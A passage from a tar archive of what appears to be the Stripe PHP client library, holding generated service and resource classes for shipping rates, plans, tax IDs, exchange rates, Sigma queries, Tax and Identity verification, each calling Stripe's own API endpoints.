$this->requestCollection('get', '/v1/shipping_rates', $params, $opts); } /** * Creates a new shipping rate object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ShippingRate */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/shipping_rates', $params, $opts); } /** * Returns the shipping rate object with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ShippingRate */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/shipping_rates/%s', $id), $params, $opts); } /** * Updates an existing shipping rate object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ShippingRate */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/shipping_rates/%s', $id), $params, $opts); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/PlanService.php����������������������������������������������������������0000644�����������������00000005676�14720677707�0014642 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class PlanService extends \Stripe\Service\AbstractService { /** * Returns a list of your plans. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Plan> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/plans', $params, $opts); } /** * You can now model subscriptions more flexibly using the <a href="#prices">Prices * API</a>. It replaces the Plans API and is backwards compatible to simplify your * migration. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Plan */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/plans', $params, $opts); } /** * Deleting plans means new subscribers can’t be added. Existing subscribers aren’t * affected. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Plan */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/plans/%s', $id), $params, $opts); } /** * Retrieves the plan with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Plan */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/plans/%s', $id), $params, $opts); } /** * Updates the specified plan by setting the values of the parameters passed. Any * parameters not provided are left unchanged. By design, you cannot change a * plan’s ID, amount, currency, or billing cycle. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Plan */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/plans/%s', $id), $params, $opts); } } ������������������������������������������������������������������stripe-gateway/lib/Service/TaxIdService.php���������������������������������������������������������0000644�����������������00000004254�14720677707�0014750 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TaxIdService extends \Stripe\Service\AbstractService { /** * Returns a list of tax IDs. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\TaxId> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/tax_ids', $params, $opts); } /** * Creates a new account or customer <code>tax_id</code> object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxId */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/tax_ids', $params, $opts); } /** * Deletes an existing account or customer <code>tax_id</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxId */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/tax_ids/%s', $id), $params, $opts); } /** * Retrieves an account or customer <code>tax_id</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxId */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/tax_ids/%s', $id), $params, $opts); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/ExchangeRateService.php��������������������������������������������������0000644�����������������00000002655�14720677707�0016300 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ExchangeRateService extends \Stripe\Service\AbstractService { /** * Returns a list of objects that contain the rates at which foreign currencies are * converted to one another. Only shows the currencies for which Stripe supports. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\ExchangeRate> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/exchange_rates', $params, $opts); } /** * Retrieves the exchange rates from the given currency to every supported * currency. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ExchangeRate */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/exchange_rates/%s', $id), $params, $opts); } } �����������������������������������������������������������������������������������stripe-gateway/lib/Service/Sigma/SigmaServiceFactory.php��������������������������������������������0000644�����������������00000001126�14720677707�0017362 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Sigma; /** * Service factory class for API resources in the Sigma namespace. * * @property ScheduledQueryRunService $scheduledQueryRuns */ class SigmaServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'scheduledQueryRuns' => ScheduledQueryRunService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Sigma/ScheduledQueryRunService.php���������������������������������������0000644�����������������00000002477�14720677707�0020417 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Sigma; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ScheduledQueryRunService extends \Stripe\Service\AbstractService { /** * Returns a list of scheduled query runs. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Sigma\ScheduledQueryRun> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/sigma/scheduled_query_runs', $params, $opts); } /** * Retrieves the details of an scheduled query run. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Sigma\ScheduledQueryRun */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/sigma/scheduled_query_runs/%s', $id), $params, $opts); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/AbstractServiceFactory.php�����������������������������������������������0000644�����������������00000003215�14720677707�0017026 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Service; /** * Abstract base class for all service factories used to expose service * instances through {@link \Stripe\StripeClient}. * * Service factories serve two purposes: * * 1. Expose properties for all services through the `__get()` magic method. * 2. Lazily initialize each service instance the first time the property for * a given service is used. */ abstract class AbstractServiceFactory { /** @var \Stripe\StripeClientInterface */ private $client; /** @var array<string, AbstractService|AbstractServiceFactory> */ private $services; /** * @param \Stripe\StripeClientInterface $client */ public function __construct($client) { $this->client = $client; $this->services = []; } /** * @param string $name * * @return null|string */ abstract protected function getServiceClass($name); /** * @param string $name * * @return null|AbstractService|AbstractServiceFactory */ public function __get($name) { return $this->getService($name); } /** * @param string $name * * @return null|AbstractService|AbstractServiceFactory */ public function getService($name) { $serviceClass = $this->getServiceClass($name); if (null !== $serviceClass) { if (!\array_key_exists($name, $this->services)) { $this->services[$name] = new $serviceClass($this->client); } return $this->services[$name]; } \trigger_error('Undefined property: ' . static::class . '::$' . $name); return null; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Tax/Registration.php�������������������������������������������������������������0000644�����������������00000011206�14720677707�0014217 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Tax; /** * A Tax <code>Registration</code> lets us know that your business is registered to collect tax on payments within a region, enabling you to <a href="https://stripe.com/docs/tax">automatically collect tax</a>. * * Stripe doesn't register on your behalf with the relevant authorities when you create a Tax <code>Registration</code> object. For more information on how to register to collect tax, see <a href="https://stripe.com/docs/tax/registering">our guide</a>. * * Related guide: <a href="https://stripe.com/docs/tax/registrations-api">Using the Registrations API</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $active_from Time at which the registration becomes active. Measured in seconds since the Unix epoch. * @property string $country Two-letter country code (<a href="https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2">ISO 3166-1 alpha-2</a>). * @property \Stripe\StripeObject $country_options * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|int $expires_at If set, the registration stops being active at this time. If not set, the registration will be active indefinitely. Measured in seconds since the Unix epoch. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $status The status of the registration. This field is present for convenience and can be deduced from <code>active_from</code> and <code>expires_at</code>. */ class Registration extends \Stripe\ApiResource { const OBJECT_NAME = 'tax.registration'; use \Stripe\ApiOperations\Update; const STATUS_ACTIVE = 'active'; const STATUS_EXPIRED = 'expired'; const STATUS_SCHEDULED = 'scheduled'; /** * Creates a new Tax <code>Registration</code> object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Registration the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of Tax <code>Registration</code> objects. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Tax\Registration> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Returns a Tax <code>Registration</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Registration */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates an existing Tax <code>Registration</code> object. * * A registration cannot be deleted after it has been created. If you wish to end a * registration you may do so by setting <code>expires_at</code>. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Registration the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Tax/Transaction.php��������������������������������������������������������������0000644�����������������00000011526�14720677707�0014037 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Tax; /** * A Tax Transaction records the tax collected from or refunded to your customer. * * Related guide: <a href="https://stripe.com/docs/tax/custom#tax-transaction">Calculate tax in your custom payment flow</a> * * @property string $id Unique identifier for the transaction. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string $customer The ID of an existing <a href="https://stripe.com/docs/api/customers/object">Customer</a> used for the resource. * @property \Stripe\StripeObject $customer_details * @property null|\Stripe\Collection<\Stripe\Tax\TransactionLineItem> $line_items The tax collected or refunded, by line item. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property int $posted_at The Unix timestamp representing when the tax liability is assumed or reduced. * @property string $reference A custom unique identifier, such as 'myOrder_123'. * @property null|\Stripe\StripeObject $reversal If <code>type=reversal</code>, contains information about what was reversed. * @property null|\Stripe\StripeObject $ship_from_details The details of the ship from location, such as the address. * @property null|\Stripe\StripeObject $shipping_cost The shipping cost details for the transaction. * @property int $tax_date Timestamp of date at which the tax rules and rates in effect applies for the calculation. * @property string $type If <code>reversal</code>, this transaction reverses an earlier transaction. */ class Transaction extends \Stripe\ApiResource { const OBJECT_NAME = 'tax.transaction'; const TYPE_REVERSAL = 'reversal'; const TYPE_TRANSACTION = 'transaction'; /** * Retrieves a Tax <code>Transaction</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Transaction */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Transaction the created transaction */ public static function createFromCalculation($params = null, $opts = null) { $url = static::classUrl() . '/create_from_calculation'; list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Transaction the created transaction */ public static function createReversal($params = null, $opts = null) { $url = static::classUrl() . '/create_reversal'; list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param string $id * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Tax\TransactionLineItem> list of transaction line items */ public static function allLineItems($id, $params = null, $opts = null) { $url = static::resourceUrl($id) . '/line_items'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Tax/Settings.php�����������������������������������������������������������������0000644�����������������00000005555�14720677707�0013357 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Tax; /** * You can use Tax <code>Settings</code> to manage configurations used by Stripe Tax calculations. * * Related guide: <a href="https://stripe.com/docs/tax/settings-api">Using the Settings API</a> * * @property string $object String representing the object's type. Objects of the same type share the same value. * @property \Stripe\StripeObject $defaults * @property null|\Stripe\StripeObject $head_office The place where your business is located. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $status The <code>active</code> status indicates you have all required settings to calculate tax. A status can transition out of <code>active</code> when new required settings are introduced. * @property \Stripe\StripeObject $status_details */ class Settings extends \Stripe\SingletonApiResource { const OBJECT_NAME = 'tax.settings'; const STATUS_ACTIVE = 'active'; const STATUS_PENDING = 'pending'; /** * Retrieves Tax <code>Settings</code> for a merchant. * * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Settings */ public static function retrieve($opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static(null, $opts); $instance->refresh(); return $instance; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return static the updated resource */ public static function update($params = null, $opts = null) { self::_validateParams($params); $url = '/v1/tax/settings'; list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return static the saved resource * * @deprecated The `save` method is deprecated and will be removed in a * future major version of the library. Use the static method `update` * on the resource instead. */ public function save($opts = null) { $params = $this->serializeParameters(); if (\count($params) > 0) { $url = $this->instanceUrl(); list($response, $opts) = $this->_request('post', $url, $params, $opts, ['save']); $this->refreshFrom($response, $opts); } return $this; } } ���������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Tax/CalculationLineItem.php������������������������������������������������������0000644�����������������00000003365�14720677707�0015441 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Tax; /** * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount The line item amount in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. If <code>tax_behavior=inclusive</code>, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. * @property int $amount_tax The amount of tax calculated for this line item, in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string $product The ID of an existing <a href="https://stripe.com/docs/api/products/object">Product</a>. * @property int $quantity The number of units of the item being purchased. For reversals, this is the quantity reversed. * @property null|string $reference A custom identifier for this line item. * @property string $tax_behavior Specifies whether the <code>amount</code> includes taxes. If <code>tax_behavior=inclusive</code>, then the amount includes taxes. * @property null|\Stripe\StripeObject[] $tax_breakdown Detailed account of taxes relevant to this line item. * @property string $tax_code The <a href="https://stripe.com/docs/tax/tax-categories">tax code</a> ID used for this resource. */ class CalculationLineItem extends \Stripe\ApiResource { const OBJECT_NAME = 'tax.calculation_line_item'; const TAX_BEHAVIOR_EXCLUSIVE = 'exclusive'; const TAX_BEHAVIOR_INCLUSIVE = 'inclusive'; } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Tax/TransactionLineItem.php������������������������������������������������������0000644�����������������00000004306�14720677707�0015464 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Tax; /** * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount The line item amount in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. If <code>tax_behavior=inclusive</code>, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. * @property int $amount_tax The amount of tax calculated for this line item, in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $product The ID of an existing <a href="https://stripe.com/docs/api/products/object">Product</a>. * @property int $quantity The number of units of the item being purchased. For reversals, this is the quantity reversed. * @property string $reference A custom identifier for this line item in the transaction. * @property null|\Stripe\StripeObject $reversal If <code>type=reversal</code>, contains information about what was reversed. * @property string $tax_behavior Specifies whether the <code>amount</code> includes taxes. If <code>tax_behavior=inclusive</code>, then the amount includes taxes. * @property string $tax_code The <a href="https://stripe.com/docs/tax/tax-categories">tax code</a> ID used for this resource. * @property string $type If <code>reversal</code>, this line item reverses an earlier transaction. */ class TransactionLineItem extends \Stripe\ApiResource { const OBJECT_NAME = 'tax.transaction_line_item'; const TAX_BEHAVIOR_EXCLUSIVE = 'exclusive'; const TAX_BEHAVIOR_INCLUSIVE = 'inclusive'; const TYPE_REVERSAL = 'reversal'; const TYPE_TRANSACTION = 'transaction'; } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Tax/Calculation.php��������������������������������������������������������������0000644�����������������00000006751�14720677707�0014014 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Tax; /** * A Tax Calculation allows you to calculate the tax to collect from your customer. * * Related guide: <a href="https://stripe.com/docs/tax/custom">Calculate tax in your custom payment flow</a> * * @property null|string $id Unique identifier for the calculation. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount_total Total amount after taxes in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string $customer The ID of an existing <a href="https://stripe.com/docs/api/customers/object">Customer</a> used for the resource. * @property \Stripe\StripeObject $customer_details * @property null|int $expires_at Timestamp of date at which the tax calculation will expire. * @property null|\Stripe\Collection<\Stripe\Tax\CalculationLineItem> $line_items The list of items the customer is purchasing. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $ship_from_details The details of the ship from location, such as the address. * @property null|\Stripe\StripeObject $shipping_cost The shipping cost details for the calculation. * @property int $tax_amount_exclusive The amount of tax to be collected on top of the line item prices. * @property int $tax_amount_inclusive The amount of tax already included in the line item prices. * @property \Stripe\StripeObject[] $tax_breakdown Breakdown of individual tax amounts that add up to the total. * @property int $tax_date Timestamp of date at which the tax rules and rates in effect applies for the calculation. */ class Calculation extends \Stripe\ApiResource { const OBJECT_NAME = 'tax.calculation'; /** * Calculates tax based on the input and returns a Tax <code>Calculation</code> * object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Tax\Calculation the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param string $id * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Tax\CalculationLineItem> list of calculation line items */ public static function allLineItems($id, $params = null, $opts = null) { $url = static::resourceUrl($id) . '/line_items'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } �����������������������stripe-gateway/lib/Identity/VerificationReport.php��������������������������������������������������0000644�����������������00000007116�14720677707�0016425 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Identity; /** * A VerificationReport is the result of an attempt to collect and verify data from a user. * The collection of verification checks performed is determined from the <code>type</code> and <code>options</code> * parameters used. You can find the result of each verification check performed in the * appropriate sub-resource: <code>document</code>, <code>id_number</code>, <code>selfie</code>. * * Each VerificationReport contains a copy of any data collected by the user as well as * reference IDs which can be used to access collected images through the <a href="https://stripe.com/docs/api/files">FileUpload</a> * API. To configure and create VerificationReports, use the * <a href="https://stripe.com/docs/api/identity/verification_sessions">VerificationSession</a> API. * * Related guide: <a href="https://stripe.com/docs/identity/verification-sessions#results">Accessing verification results</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string $client_reference_id A string to reference this user. This can be a customer ID, a session ID, or similar, and can be used to reconcile this verification with your internal systems. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|\Stripe\StripeObject $document Result from a document check * @property null|\Stripe\StripeObject $email Result from a email check * @property null|\Stripe\StripeObject $id_number Result from an id_number check * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $options * @property null|\Stripe\StripeObject $phone Result from a phone check * @property null|\Stripe\StripeObject $selfie Result from a selfie check * @property string $type Type of report. * @property null|string $verification_flow The configuration token of a Verification Flow from the dashboard. * @property null|string $verification_session ID of the VerificationSession that created this report. */ class VerificationReport extends \Stripe\ApiResource { const OBJECT_NAME = 'identity.verification_report'; const TYPE_DOCUMENT = 'document'; const TYPE_ID_NUMBER = 'id_number'; const TYPE_VERIFICATION_FLOW = 'verification_flow'; /** * List all verification reports. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Identity\VerificationReport> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves an existing VerificationReport. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Identity\VerificationReport */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Identity/VerificationSession.php�������������������������������������������������0000644�����������������00000021551�14720677707�0016574 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Identity; /** * A VerificationSession guides you through the process of collecting and verifying the identities * of your users. It contains details about the type of verification, such as what <a href="/docs/identity/verification-checks">verification * check</a> to perform. Only create one VerificationSession for * each verification in your system. * * A VerificationSession transitions through <a href="/docs/identity/how-sessions-work">multiple * statuses</a> throughout its lifetime as it progresses through * the verification flow. The VerificationSession contains the user's verified data after * verification checks are complete. * * Related guide: <a href="https://stripe.com/docs/identity/verification-sessions">The Verification Sessions API</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string $client_reference_id A string to reference this user. This can be a customer ID, a session ID, or similar, and can be used to reconcile this verification with your internal systems. * @property null|string $client_secret The short-lived client secret used by Stripe.js to <a href="https://stripe.com/docs/js/identity/modal">show a verification modal</a> inside your app. This client secret expires after 24 hours and can only be used once. Don’t store it, log it, embed it in a URL, or expose it to anyone other than the user. Make sure that you have TLS enabled on any page that includes the client secret. Refer to our docs on <a href="https://stripe.com/docs/identity/verification-sessions#client-secret">passing the client secret to the frontend</a> to learn more. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|\Stripe\StripeObject $last_error If present, this property tells you the last error encountered when processing the verification. * @property null|string|\Stripe\Identity\VerificationReport $last_verification_report ID of the most recent VerificationReport. <a href="https://stripe.com/docs/identity/verification-sessions#results">Learn more about accessing detailed verification results.</a> * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * 